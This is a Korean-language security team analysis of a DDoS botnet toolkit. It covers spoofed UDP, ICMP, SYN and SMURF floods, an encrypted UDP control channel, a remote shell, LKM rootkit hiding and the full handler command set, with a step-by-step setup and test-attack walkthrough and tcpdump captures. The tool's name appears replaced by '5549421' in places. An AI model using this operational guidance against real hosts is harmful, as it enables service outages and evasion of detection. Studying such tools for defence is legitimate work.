5549421_DDoSatk Tool Analysis
1. DoS, DDoS 소개
DoS(Denial of Service) 공격은 1:1 방식으로 목표 호스트에 대량의 네트워크 Packet을
보내어 공격하는 것이 일반적이다. 이 때 목표 호스트는 일시적으로 서비스를 할 수 없는
상태가 되기 때문에 "서비스 거부 공격"이라는 명칭이 생기게 되었다. 이보다 조금 더
진보된 공격 method는 분산환경에서 공격을 시도하는 DDoS 기법이다. 이 기법의 공격은
N:1 방식으로써, 분산환경의 Agent가 많을 수록 그만큼, 목표 호스트의 피해는 심각해진다.
2. Tool 분석
model명 5549421은 Distributed Denial of Service 공격을 제공하는 분산 환경의
중앙 관제 센터 프로그램이다. Handler인 Oyabung Program으로 접속하려면 먼저 Master 서버에
Telnet 하여 사용해야 한다. 프로그램을 실행하면 Master와 연결되어 있는 모든 Agent들의
접속 여부를 검사한다. 참고로, 통신시에는 암호화한 UDP 프로토콜을 사용한다.
[사진-1: 공격 구조]
* Characteristic Analysis
1. 프로세스 위장 기능 제공 (어플리케이션 기반)
실행되는 daemon process의 이름을 공격자가 임의로 변경할 수 있다.
실제 ps 명령으로 검사해보면 -bash 라는 process로 자신을 위장하고 있는 것을 볼 수 있다.
Linux의 경우:
bash# ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 1104 460 ? S Feb05 0:04 init [3]
root 2 0.0 0.0 0 0 ? SW Feb05 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Feb05 0:01 [kupdate]
root 4 0.0 0.0 0 0 ? SW Feb05 0:00 [kpiod]
root 5 0.0 0.0 0 0 ? SW Feb05 0:00 [kswapd]
root 6 0.0 0.0 0 0 ? SW< Feb05 0:00 [mdrecoveryd]
root 320 0.0 0.1 1404 748 ? S Feb05 0:00 syslogd -m 0
root 331 0.0 0.1 1416 756 ? S Feb05 0:00 klogd
root 347 0.0 0.1 1120 480 ? S Feb05 0:00 inetd
root 381 0.0 0.4 3916 1788 ? S Feb05 0:00 /usr/local/apache
root 384 0.0 0.2 2232 1040 tty1 S Feb05 0:00 login -- root
root 385 0.0 0.0 1072 376 tty2 S Feb05 0:00 /sbin/mingetty tt
root 386 0.0 0.0 1072 376 tty3 S Feb05 0:00 /sbin/mingetty tt
root 387 0.0 0.0 1072 376 tty4 S Feb05 0:00 /sbin/mingetty tt
root 388 0.0 0.0 1072 376 tty5 S Feb05 0:00 /sbin/mingetty tt
root 389 0.0 0.0 1072 376 tty6 S Feb05 0:00 /sbin/mingetty tt
nobody 1376 0.0 0.6 4160 2344 ? S Feb05 0:02 /usr/local/apache
nobody 1377 0.0 0.6 4164 2340 ? S Feb05 0:02 /usr/local/apache
nobody 1378 0.0 0.5 4164 2320 ? S Feb05 0:03 /usr/local/apache
nobody 1379 0.0 0.5 4152 2320 ? S Feb05 0:02 /usr/local/apache
nobody 1380 0.0 0.5 4152 2304 ? S Feb05 0:02 /usr/local/apache
nobody 1389 0.0 0.5 4152 2300 ? S Feb05 0:02 /usr/local/apache
nobody 1390 0.0 0.6 4152 2344 ? S Feb05 0:02 /usr/local/apache
nobody 1391 0.0 0.6 4152 2328 ? S Feb05 0:02 /usr/local/apache
nobody 1392 0.0 0.5 4152 2300 ? S Feb05 0:02 /usr/local/apache
nobody 2975 0.0 0.6 4152 2340 ? S Feb05 0:02 /usr/local/apache
root 26893 0.0 0.2 1728 956 tty1 S Feb08 0:00 -bash
root 17196 0.0 0.2 1472 788 ? S 12:11 0:00 intnd: 61.18.233.
root 17197 0.0 0.2 2244 1136 pts/0 S 12:11 0:00 login -- xxx
xxx 17198 0.0 0.2 1732 960 pts/0 S 12:11 0:00 -bash
root 17221 0.0 0.2 3044 932 pts/0 S 12:11 0:00 su -
root 17222 0.0 0.2 1736 976 pts/0 S 12:11 0:00 -bash
root 17258 0.0 0.1 1604 748 pts/0 S 12:12 0:00 -bash
root 17356 0.0 0.2 2680 968 pts/0 R 15:12 0:00 ps -aux
bash#
그러나 pstree로 확인해보면, 실제 process의 이름을 볼 수 있다.
(0.05 버전 이상부터는 커널모듈로 프로그램을 은폐하기 때문에 process가 실행 중인지의 여부를 알 수 없다.)
bash# pstree
init-+-httpd---10*[httpd]
|-inetd---intnd---login---bash---su---bash---pstree
|-kflushd
|-klogd
|-kpiod
|-kswapd
|-kupdate
|-login---bash
|-mdrecoveryd
|-5*[mingetty]
|-sidabari <----- Handler program.
`-syslogd
bash#
OpenBSD의 경우:
# ps -aux
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 23938 0.0 0.2 276 208 p0 R+ 11:45PM 0:00.00 ps -aux
root 24797 0.0 0.4 100 452 ?? Ss 22Jan03 0:01.37 syslogd
root 21135 0.0 0.3 64 400 ?? Is 22Jan03 0:00.03 inetd
root 7683 0.0 0.3 44 428 C0 Is+ 22Jan03 0:00.01 /usr/libexec/
root 12528 0.0 0.3 44 424 C1 Is+ 22Jan03 0:00.00 /usr/libexec/
root 13384 0.0 0.3 44 424 C2 Is+ 22Jan03 0:00.00 /usr/libexec/
root 27709 0.0 0.3 44 424 C3 Is+ 22Jan03 0:00.00 /usr/libexec/
root 21771 0.0 0.3 44 424 C5 Is+ 22Jan03 0:00.00 /usr/libexec/
root 4050 0.0 0.8 156 1004 ?? Ss 8:46PM 0:00.05 telnetd -k -y
xxx 5578 0.0 0.2 376 280 p0 Is 8:46PM 0:00.01 -sh (sh)
root 28977 0.0 0.2 376 284 p0 I 8:46PM 0:00.01 -sh (sh)
root 19936 0.0 0.2 440 300 p0 S 8:46PM 0:00.02 sh
root 16487 0.0 0.6 564 748 p0 I 8:47PM 0:00.04 -bash (sidab
root 1 0.0 0.2 332 200 ?? Is 22Jan03 0:00.02 /sbin/init
#
process상에서 sidabari 프로그램이라는 것을 바로 확인할 수 있었다.
2. 통신 시 암호화된 UDP protocol 사용
명령 수행은 UDP protocol을 통해 통신하며 port는 65500번, 65501번을 기본으로 채택하여 수행한다.
다음과 같이 검사해보면 열려있는 UDP port를 확인해볼 수 있다.
bash# netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 138 testsub2.underat:telnet 61.37.177.18:1954 ESTABLISHED
tcp 0 0 *:www *:* LISTEN
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 *:ftp *:* LISTEN
udp 0 0 *:65500 *:*
raw 0 0 *:icmp *:* 7
raw 0 0 *:tcp *:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 0 [ ] STREAM CONNECTED 156 @0000001c
unix 4 [ ] DGRAM 323 /dev/log
unix 0 [ ] STREAM CONNECTED 321 @00000021
unix 0 [ ] DGRAM 81087
unix 0 [ ] DGRAM 81082
unix 0 [ ] DGRAM 40024
unix 0 [ ] DGRAM 338
bash#
통신시 사용하는 암호는 일반 crypt 함수를 이용해 2문자를 SALT로 사용하는 DES 암호화
기법을 사용한다. password packet 통신 시에는 DES 기법으로 암호화된 code를 blowfish
암호화 기법으로 이중 암호화하여 사용한다. 참고로 blowfish 암호화 기법은 양방향으로
암호화, 복호화가 가능하다.
사용 예: shell commander, 목표 호스트 정보 등 ...
UDP protocol을 감시하기 위해 개량된 passniff로 조사해본 결과,
아래와 같이 암호화되어 packet 통신을 하고 있는 것을 살펴 볼 수 있었다.
[사진-2: Sniffing data dump]
3. 공격자에게 제공되는 remote shell commander
공격자에게 Agent 명령외로 원격지에서 임의의 명령을 실행할 수 있도록 shell commander
기능을 제공한다. 이 기능은 model을 새로운 update version으로 download 할 때 사용할 수
있고, 또다른 bindshell을 실행하여 다른 작업을 할 수 있게 한다.
다음과 같이 Handler 프로그램의 명령 실행 후, 작업이 수행된 모습을 볼 수 있었다.
[사진-3~4: Remote shell commander]
4. 다양한 공격 형태를 제공
* 일반 UDP flooding DoS 공격 (root 권한이 없이도 시행 가능)
UDP 프로토콜을 기반으로 하여 특정 크기의 Packet을 목표 호스트로 일정하게 보낸다.
일반 공격의 단점은 IP를 spoofing 할 수 없다는 점이다.
일반 UDP flooding 공격을 감시한 모습:
bash# tcpdump
...
00:39:38.793629 eth0 < 61.11.17.22.1442 > 61.31.77.3.36325: udp 1500 (frag 23615:1480@0+)
00:39:38.793631 eth0 < 61.11.17.22 > 61.31.77.3: (frag 23616:28@1480)
00:39:38.793758 eth0 < 61.11.17.22.1442 > 61.31.77.3.39306: udp 1500 (frag 23616:1480@0+)
00:39:38.793760 eth0 < 61.11.17.22 > 61.31.77.3: (frag 23617:28@1480)
00:39:38.793890 eth0 < 61.11.17.22 > 61.31.77.3: (frag 23618:28@1480)
00:39:38.794020 eth0 < 61.11.17.22 > 61.31.77.3: (frag 23619:28@1480)
00:39:38.976058 eth0 < 61.11.17.22.1442 > 61.31.77.3.64902: udp 1500 (frag 25020:1480@0+)
00:39:38.976188 eth0 < 61.11.17.22.1442 > 61.31.77.3.6027: udp 1500 (frag 25021:1480@0+)
00:39:38.976190 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25022:28@1480)
00:39:38.976317 eth0 < 61.11.17.22.1442 > 61.31.77.3.19458: udp 1500 (frag 25022:1480@0+)
00:39:38.976319 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25023:28@1480)
00:39:38.976447 eth0 < 61.11.17.22.1442 > 61.31.77.3.25761: udp 1500 (frag 25023:1480@0+)
00:39:38.976449 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25024:28@1480)
00:39:38.976578 eth0 < 61.11.17.22.1442 > 61.31.77.3.58502: udp 1500 (frag 25024:1480@0+)
00:39:38.976580 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25025:28@1480)
00:39:38.976708 eth0 < 61.11.17.22.1442 > 61.31.77.3.32677: udp 1500 (frag 25025:1480@0+)
00:39:38.976710 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25026:28@1480)
00:39:38.976844 eth0 < 61.11.17.22.1442 > 61.31.77.3.25090: udp 1500 (frag 25026:1480@0+)
00:39:38.976847 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25027:28@1480)
00:39:38.976968 eth0 < 61.11.17.22.1442 > 61.31.77.3.39399: udp 1500 (frag 25027:1480@0+)
00:39:38.976971 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25028:28@1480)
00:39:38.977098 eth0 < 61.11.17.22.1442 > 61.31.77.37.30199: udp 1500 (frag 25028:1480@0+)
00:39:38.977101 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25029:28@1480)
00:39:38.977230 eth0 < 61.11.17.22.1442 > 61.31.77.3.41930: udp 1500 (frag 25029:1480@0+)
00:39:38.977232 eth0 < 61.11.17.22 > 61.31.77.3: (frag 25030:28@1480)
00:39:38.977356 eth0 < 61.11.17.22.1442 > 61.31.77.3.1149: udp 1500 (frag 25030:1480@0+)
...
bash#
일반 UDP flood 공격은 custom packet을 사용하지 않기 때문에 root 권한을 필요로 하지 않지만,
공격자의 IP주소(61.11.17.22)가 그대로 감지된 것을 볼 수 있다.
* ICMP flooding IP spoof DoS 공격 (root 권한 필요)
ICMP 프로토콜을 기반으로 하여 목표 호스트에 대량의 ICMP echo requesting Packet을
보낸다. 공격의 장점은 IP를 spoofing 할 수 있다는 점이다.
IP spoofing을 시도하여 Packet을 보낼 경우, 목적지는 출발지의 조작된 IP 주소를
받게 된다.
ICMP flooding 공격을 감시한 모습:
bash# tcpdump
...
00:47:55.806625 eth0 < 207.51.78.100 > 61.31.77.3: icmp: echo request
00:47:55.806639 eth0 > 61.31.77.3 > 207.51.78.100: icmp: echo reply
00:47:55.806686 eth0 < dimeg028.poliba.it > 61.31.77.3: icmp: echo request
00:47:55.806700 eth0 > 61.31.77.3 > dimeg028.poliba.it: icmp: echo reply
00:47:55.806739 eth0 < 200.241.53.0 > 61.31.77.3: icmp: echo request
00:47:55.806752 eth0 > 61.31.77.3 > 200.241.53.0: icmp: echo reply
00:47:55.806794 eth0 < 208.68.184.64 > 61.31.77.3: icmp: echo request
00:47:55.806808 eth0 > 61.31.77.3 > 208.68.184.64: icmp: echo reply
00:47:55.806851 eth0 < 82.12.234.92 > 61.31.77.3: icmp: echo request
00:47:55.806864 eth0 > 61.31.77.3 > 82.12.234.92: icmp: echo reply
00:47:55.806907 eth0 < 92.95.9.185 > 61.31.77.3: icmp: echo request
00:47:55.806921 eth0 > 61.31.77.3 > 92.95.9.185: icmp: echo reply
00:47:55.806965 eth0 < 247.241.202.247 > 61.31.77.3: icmp: echo request
00:47:55.807021 eth0 < 222.7.106.208 > 61.31.77.3: icmp: echo request
00:47:55.807035 eth0 > 61.31.77.3 > 222.7.106.208: icmp: echo reply
00:47:55.807078 eth0 < 138.16.14.132 > 61.31.77.3: icmp: echo request
00:47:55.807094 eth0 > 61.31.77.3 > 138.16.14.132: icmp: echo reply
00:47:55.807134 eth0 < 181.178.133.4 > 61.31.77.3: icmp: echo request
00:47:55.807148 eth0 > 61.31.77.3 > 181.178.133.4: icmp: echo reply
00:47:55.807190 eth0 < 185.83.201.142 > 61.31.77.3: icmp: echo request
00:47:55.807204 eth0 > 61.31.77.3 > 185.83.201.142: icmp: echo reply
00:47:55.807246 eth0 < 60.171.152.205 > 61.31.77.3: icmp: echo request
00:47:55.807260 eth0 > 61.31.77.3 > 60.171.152.205: icmp: echo reply
00:47:55.807302 eth0 < 38.254.198.81 > 61.31.77.3: icmp: echo request
...
bash#
공격자의 IP가 숨겨진 것을 볼 수 있다.
특히, 무수히 많은 가짜 IP로 속이기 때문에 공격자를 추적하기 어렵다.
* SYN flooding IP spoof DoS 공격 (root 권한 필요)
TCP 프로토콜을 기반으로 하여 목표 호스트에 SYN flag를 설정한 TCP Packet을 대량으로
보낸다. 이 공격 역시 IP를 spoofing 할 수 있다.
SYN flooding 공격을 감시한 모습:
bash# tcpdump
...
00:52:43.516825 eth0 < h00907f10cb26.ne.client2.attbi.com.22264 > 61.31.77.3.28409: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.516948 eth0 < 223.30.117.104.61971 > 61.31.77.3.42990: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517084 eth0 < 150.238.55.131.3164 > 61.31.77.3.59022: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517200 eth0 < 246.121.169.16.28691 > 61.31.77.3.33715: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517335 eth0 < 53.228.5.74.2056 > 61.31.77.3.3739: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517442 eth0 < 122.50.195.173.37049 > 61.31.77.3.49730: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517573 eth0 < reserved-multicast-range-NOT-delegated.example.com.18023 > 61.31.77.37.51195: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517699 eth0 < 124.227.247.233.12171 > 61.31.77.3.19608: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517815 eth0 < 84.204.14.57.24713 > 61.31.77.3.24982: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.517938 eth0 < 237.219.1.104.48762 > 61.31.77.3.41324: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518064 eth0 < 84.131.143.53.41414 > 61.31.77.3.46411: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518182 eth0 < 98.33.58.230.20198 > 61.31.77.3.55733: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518313 eth0 < 73.167.53.76.56840 > 61.31.77.3.21223: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518433 eth0 < 128.203.42.17.27361 > 61.31.77.3.32948: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518554 eth0 < 65.113.129.63.42092 > 61.31.77.3.17637: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518674 eth0 < 120.199.83.40.12813 > 61.31.77.3.29199: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518796 eth0 < 70.162.143.22.22225 > 61.31.77.3.45728: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.518919 eth0 < 201.191.191.193.27817 > 61.31.77.3.38138: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.519045 eth0 < 119.193.191.225.52468 > 61.31.77.3.45326: S 560993037:560994513(1476) win 65535 urg 2513
00:52:43.519163 eth0 < 22.225.29.167.18330 > 61.31.77.3.4016: S 560993037:560994513(1476) win 65535 urg 2513
...
bash#
공격자의 IP가 조작된 것을 볼 수 있다. 접속시도 Port는 Random으로 선택하고 있다.
* UDP flooding IP spoof DoS 공격 (root 권한 필요)
UDP 프로토콜을 기반으로 하여 조작된 srcip를 통해 특정 크기의 Packet을 목표 호스트로
보낸다.
UDP flooding 공격을 감시한 모습:
bash# tcpdump
...
00:57:10.708918 eth0 < 199.154.200.178.59675 > 61.31.77.3.19756: udp 56317
00:57:10.709038 eth0 < 140.67.1.182.35113 > 61.31.77.3.49925: udp 56317
00:57:10.709163 eth0 < 37.202.190.35.17522 > 61.31.77.3.54826: udp 56317
00:57:10.709287 eth0 < 186.14.4.70.62765 > 61.31.77.3.35125: udp 56317
00:57:10.709407 eth0 < 162.3.225.206.31690 > 61.31.77.3.65284: udp 56317
00:57:10.709529 eth0 < 167.216.14.230.47381 > 61.31.77.3.18585: udp 56317
00:57:10.709658 eth0 < 168.250.201.48.37460 > 61.31.77.3.28574: udp 56317
00:57:10.709775 eth0 < 135.155.82.191.10248 > 61.31.77.3.19836: udp 56317
00:57:10.709902 eth0 < 65.73.170.120.65216 > 61.31.77.3.33997: udp 56317
00:57:10.710023 eth0 < 119.213.100.232.39135 > 61.31.77.3.46580: udp 56317
00:57:10.710146 eth0 < 236.86.151.171.5332 > 61.31.77.3.8770: udp 56317
00:57:10.710273 eth0 < 186.187.252.9.30771 > 61.31.77.3.62881: udp 56317
00:57:10.710391 eth0 < 234.227.245.233.16329 > 61.31.77.3.13512: udp 56317
00:57:10.710519 eth0 < 189.241.230.233.23693 > 61.31.77.3.245: udp 56317
00:57:10.710639 eth0 < 93.39.193.131.8138 > 61.31.77.3.51230: udp 56317
00:57:10.710760 eth0 < 187.253.5.233.32006 > 61.31.77.3.37933: udp 56317
00:57:10.710886 eth0 < 13.60.238.130.56333 > 61.31.77.3.26015: udp 56317
00:57:10.711008 eth0 < 5.149.237.51.24610 > 61.31.77.3.11968: udp 56317
00:57:10.711130 eth0 < reserved-multicast-range-NOT-delegated.example.com.30651 > 61.31.77.3.9927: udp 56317
00:57:10.711255 eth0 < 187.212.117.101.4988 > 61.31.77.3.28208: udp 56317
00:57:10.711375 eth0 < 19.65.76.212.64106 > 61.31.77.3.15417: udp 56317
00:57:10.711498 eth0 < 83.51.191.93.48152 > 61.31.77.3.56941: udp 56317
00:57:10.711628 eth0 < 77.159.31.41.4428 > 61.31.77.3.32321: udp 56317
00:57:10.711746 eth0 < 25.44.124.80.34466 > 61.31.77.3.46441: udp 56317
00:57:10.711875 eth0 < 178.171.254.234.1355 > 61.31.77.3.23584: udp 56317
00:57:10.711991 eth0 < 138.126.54.122.26499 > 61.31.77.3.62984: udp 56317
00:57:10.712112 eth0 < 174.52.254.7.33782 > 61.31.77.3.39069: udp 56317
00:57:10.712240 eth0 < YahooBB219188111153.bbtec.net.56107 > 61.31.77.3.45644: udp 56317
...
bash#
조작된 IP 주소와 Random 선택된 port로 공격을 시도하고 있다.
* SMURF flooding IP spoof DoS 공격 (root 권한 필요)
SMURF 공격의 경우 출발지의 주소를 공격하고자 하는 목표 호스트의 주소로 설정한 후,
Broadcast 주소로 ICMP ping request Packet을 보낸다. 공격자에 의해 IP주소는 조작될
수 있다.
SMURFING 공격을 감시한 모습:
bash# tcpdump
...
02:13:28.175335 eth0 < 61.31.77.255 > 61.31.77.3: icmp: echo reply
...
bash#
4. IP Spoofing 점검 기능 (*특수기능)
일반적으로 공격시 공격자의 IP를 숨기는 것은 당연하다. 그러나 특정 네트워크에서는
router에서 src ip가 위장되어 나가지 못하도록 설정해놓는 경우가 있다.
만약 공격을 시도하는 Agent server의 IP가 발각된다면 Attacker가 추적 당할 수 있는 가능성이
생기기 때문에 이 model은 공격을 시도하는 Agent server의 IP가 spoof 되는 지 Master
server로 특정 Packet을 보내어 확인하는 기능이 존재한다.
Attacker가 fakechk (f)라는 명령을 Handler에서 지시하면 Handler는 Agent server에게
ICMP Packet을 보내라는 신호를 보내고 Agent server는 Master server에 조작한 ICMP Packet을
보내어, 최종적으로 Attacker가 확인할 수 있도록 자신의 IP와 조작한 IP를 화면에 대조 출력시킨다.
결과적으로 실제 Agent server의 IP address와 Random으로 조작한 IP가 틀릴 경우,
Attacker에게 IP spoofing을 성공했다는 message를 띄운다.
[사진-5: Fake IP spoofing check]
5. Domain에 연결된 IP 검사 기능 (*특수기능)
Client의 Service 요청이 많은 host는 Server 여러대를 link하여 하나의 domain으로 묶어
과부화가 없도록 관리하는 것이 보통이다. (예: www.yahoo.com, www.daum.net)
이와 같이 관리할 경우, 공격이 발생하였을 지라도 서버는 지속적인 서비스를 운영할 수
있기 때문에 마치 DoS 공격을 효율적으로 보안할 수 있는 솔루션인 것처럼 보인다.
하지만, link된 모든 Server들이 동시에 공격을 받을 경우, host는 서비스 운영을 할 수
없는 상태에 이르게 된다. 결국, 최종적인 단계의 DDoS 공격은 보안하기 힘들다.
이 model에서는 공격자들이 공격을 시도할 때, domain name을 가진 host가 몇 개의 Server로
존재하는 지 IP를 검사하는 기능을 가지고 있다. getip (g) Handler 명령을 통해 총 50번을
검사한 후, 나온 결과를 공격자에게 알려준다. (DDoS 공격 프로그램으로써 처음 도입된 시스템이다.)
[사진-6: Get IP address check]
* version 0.05 이상에서 개발된 기능: LKM (Loadable Kernel Module)
일반적으로 DDoS 툴은 보안이 적용된 서버내에 설치하여 사용하는 것이 매우 어렵다.
그래서 이 model의 버전부터는 보안 관리자를 속이기 위해서 application level이 아닌
kernel level에서 프로그램을 관리한다. (DDoS 공격 프로그램으로써 LKM은 처음 도입된 시스템이다.)
kernel level의 특징은 관리자가 툴이 설치되었는지의 여부를 판단 조차 할 수 없게 한다는 점이다.
다음은 실제 LKM을 통해 model명 5549421의 Agent와 Handler를 완벽하게 은폐하는 모습이다.
[참고-1: 모듈이 심어지기 전 상황]
[참고-2: 모듈이 심어진 후, 은폐된 모습]
특징: 1. 프로그램의 디렉토리를 숨긴다. (ls,dir 명령어)
2. Agent 프로그램과 Handler 프로그램을 숨긴다. (ls,dir 명령어)
3. Agent 프로세스와 Handler 프로세스를 숨긴다. (ps,pstree,top 명령어)
4. 설치된 kernel module을 숨긴다. (lsmod 명령어)
5. 열린 port를 숨긴다. (netstat 명령어)
* 이와 같이 Kernel 모듈 기반으로 설계되어 프로그램을 은폐하므로, 보다 안전하게 프로그램을 이용할 수 있다.
* Handler Command
Handler 프로그램은 비교적 일반 사용자 위주의 편리한 인터페이스를 지원한다.
그럼, 명령(총 18가지)을 소개하도록 하겠다.
0x82> help
help information:
<+>=================<* command list *>=================<+>
(h) help - help information.
(g) getip - Inform IP that's linked to Domain.
(f) fakechk - examine IP spoofing possibility.
(m) minish - shell command.
(c) check - check server stat.
(r) ready - cron program remote setting.
(sa) satkcfg - setting attack config.
(la) latkcfg - listing attack config.
(a) attack - DDoS attack.
(k) kill - kill DDoS daemon. [Temporary]
(sk) skill - skill, remove tool. [Dangerous]
(li) listip - listing host.
(w) wrtip - adding host.
(d) delip - delete host.
(o) outclean - display clear.
(e) exit - program exit.
(q) quit - program exit.
(v) version - engine version.
<+>=================<* command list *>=================<+>
0x82>
help:
사용 설명서를 출력한다.
fakechk:
IP spoofing이 가능한지 여부를 검사한다.
minish:
Agent server에서 실행할 shell 명령을 입력한다. (shell commander)
check:
현재 접속할 수 있는 모든 Agent server들을 검색하고 상태를 점검한다.
ready:
Agent server의 daemon이 죽을 경우를 대비하여, cron daemon을 원격에서 설정한다.
satkcfg:
공격을 위해 공격할 목표 호스트의 주소와 broadcast 주소, time out, 패킷 크기를 설정한다.
attack:
설정된 정보를 통해 DDoS 공격을 시도한다.
kill:
Agent server를 임시 종료한다.
skill:
Agent server를 종료한 후 관련된 src code와 설정파일등을 영구 제거한다.
quit:
Handler를 종료한다.
exit:
Handler를 종료한다.
wrtip:
Agent server list에 새로운 호스트 주소, port, password 등의 정보를 등록한다.
delip:
Agent server list에서 호스트의 주소를 제거한다.
listip:
Agent server list에 등록된 주소를 출력한다.
outclean:
Handler의 화면을 clear 시킨다.
latkcfg:
현재 설정되어 있는 목표 호스트에 대한 설정 내용을 출력한다.
version:
사용 중인 엔진 버전을 출력한다.
3. Test DDoS Attack
1. Agent 실행
현재 프로그램은 Linux, OpenBSD, FreeBSD를 지원한다.
다음과 같이 make 컴파일 할 수 있다.
bash# make
컴파일 후, Agent daemon을 실행하기 전에 먼저 Password를 생성해야 한다.
bash# ./sidabari -P
0x82-Ssagazi - Distributed Denial of Service Attack tool v0.01.
Sidabari - Slave (Agent) Program.
New password:
Retype new password again:
passwd: all authentication tokens updated successfully
bash#
만약 성공적으로 입력이 되었다면, `0x82-5549421-pass' 파일이 생성된 것을 볼 수 있다.
bash# ls -al 0x82-5549421-pass
-rw-r--r-- 1 root root 14 Jan 8 21:40 0x82-5549421-pass
bash# cat 0x82-5549421-pass
82.IwbCh3KKOw
bash#
2문자의 SALT Key는 변경이 가능하다.
자, 이제 다음과 같이 daemon을 실행한다.
bash# ./sidabari -D
0x82-Ssagazi - Distributed Denial of Service Attack tool v0.01.
Sidabari - Slave (Agent) Program.
bash#
이와 같이 Agent를 안전하게 설정할 수 있었다.
2. Handler 실행
Handler command는 이미 위에서 설명했기 때문에 특별히 어려운 점을 없을 것이다.
먼저, 새로운 Agent server를 등록한다.
bash# ./oyabung
0x82-Ssagazi - Distributed Denial of Service Attack tool v0.01.
Oyabung - Master (Handler) Program.
0x82>
Agent server 설정내용은 list (li) 명령을 통해 출력하여 알 수 있다.
[사진-7: list (li) command]
아직은 설정된 내용이 없다. 자, 그러면 추가해보도록 하자.
공격에 사용하기 위한 Agent를 등록하는 명령은 wrtip (w) 이다.
[사진-8: wrtip (w) command]
sidabari를 실행하였던 Agent server의 IP와 password를 입력하였다.
확인해보자.
[사진-9: list (li) & check (c) command]
그 결과, 입력이 성공하여 목록에 등록된 것을 볼 수 있다.
check (c) 명령을 통해 Agent server의 연결 가능 여부를 점검해볼 수 있다.
oyabung 프로그램을 종료한 후, `0x82-5549421-list' 파일이 생성된 것을 확인하기 바란다.
0x82> q
program exit.
bash# ls -al 0x82-5549421-list
-rw-r--r-- 1 root root 33 Jan 8 21:50 0x82-5549421-list
bash# cat 0x82-5549421-list
61.22.33.11:65500:82.IwbCh3KKOw
bash#
자, 이제 모의 시험 공격을 시도해보도록 하겠다.
3. Test DDoS Attack
모의 시험 공격을 위해 서버 3대를 Agent로 구성한 후, Master 1대로 조정하여 가상 공격을
시도해보았다. 물론 공격을 당하는 목표 호스트에는 snort IDS를 설치한 후, 네트워크 실시간
감시를 위해 tcpdump를 사용하여 Packet의 경로를 살펴보았다.
[사진-10: 공격을 당할 목표 호스트 설정 화면]
[사진-11: 공격을 시도할 Master 화면]
이제 준비가 끝났으니 공격할 목표 호스트를 설정 후, 공격을 시도해보도록 하겠다.
목표 호스트를 설정하는 명령은 satkcfg (sa) 이다.
[사진-12: 공격을 설정하는 Master 화면]
[사진-13: 설정된 내용을 확인]
[사진-14: 공격 개시]
attack (a) 명령을 통해 공격을 시도하였다.
공격을 한 후, IP가 spoofing된 Packet을 캡쳐하고 있는 목표 호스트 서버(61.22.133.10)의
tcpdump 화면이다.
[사진-15: 목표 호스트가 공격을 당하는 화면]
이윽고, snort IDS는 디렉토리에 많은 log directory, file들을 남기고 서버와 함께 3 분여만에
다운되버리고 말았다. 아래 화면은 서버 재부팅 전에 snort가 남긴, 공격자의 가짜 IP log
흔적들이다.
[사진-16: IDS에 감지된 가짜 공격 IP log들]
이미 재부팅된 서버에서 실제 공격자의 IP를 추적하기란 하늘의 별따기와 마찬가지다.
만약 이와 같이 서버 운영을 하고 있다면, 공격에는 무방비나 다름이 없을 것이다.
특히, Agent를 많이 소유한 해커가 DNS server나, mail server, web http server,
firewall server, VPN 연결 server, router등의 중요 서버시설들을 공격 대상으로 할 경우.
하나의 네트워크에서 지역 네트워크, 한 국가망의 네트워크까지 위협을 받을 수 있는 가능성은
충분하다.
또한, 현재까지는 DDoS 공격을 탐지하더라도 90% 이상의 거짓 결과 덕택에 공격자를 추적에
어렵고, 실질적으로 방어를 하는 방법은 없는 것으로 알려져 있다.
4. 결 론
확실히 기존의 공개되어 있는 IDS로는 실제 공격자를 추적하는 데 무리가 있다.
DDoS 공격을 시도하려면, 많은 수의 Agent들을 필요로 하기 때문에 아직까지는 그리 위협적인
수준의 공격시도는 이루어지지 않는 것으로 예상된다. 하지만, 언젠가는 w0rm virus나 기타 자동화
tool 들을 통해 전세계 네트워크가 사이버 테러의 위협을 받는 상황이 올 지도 모른다.
그리하여, 우리 INetCop Security Team은 위협적인 사이버 테러 공격을 보안하기 위해 DDoS 공격을 방지할 수
있는 Project를 추진 중이다. 앞으로 이 연구는 국가를 위해 지속되야 할 것이다.
발전하는 사이버 공격에 대응하기 위해서는 다른 이보다 먼저, 해커가 되어야 한다.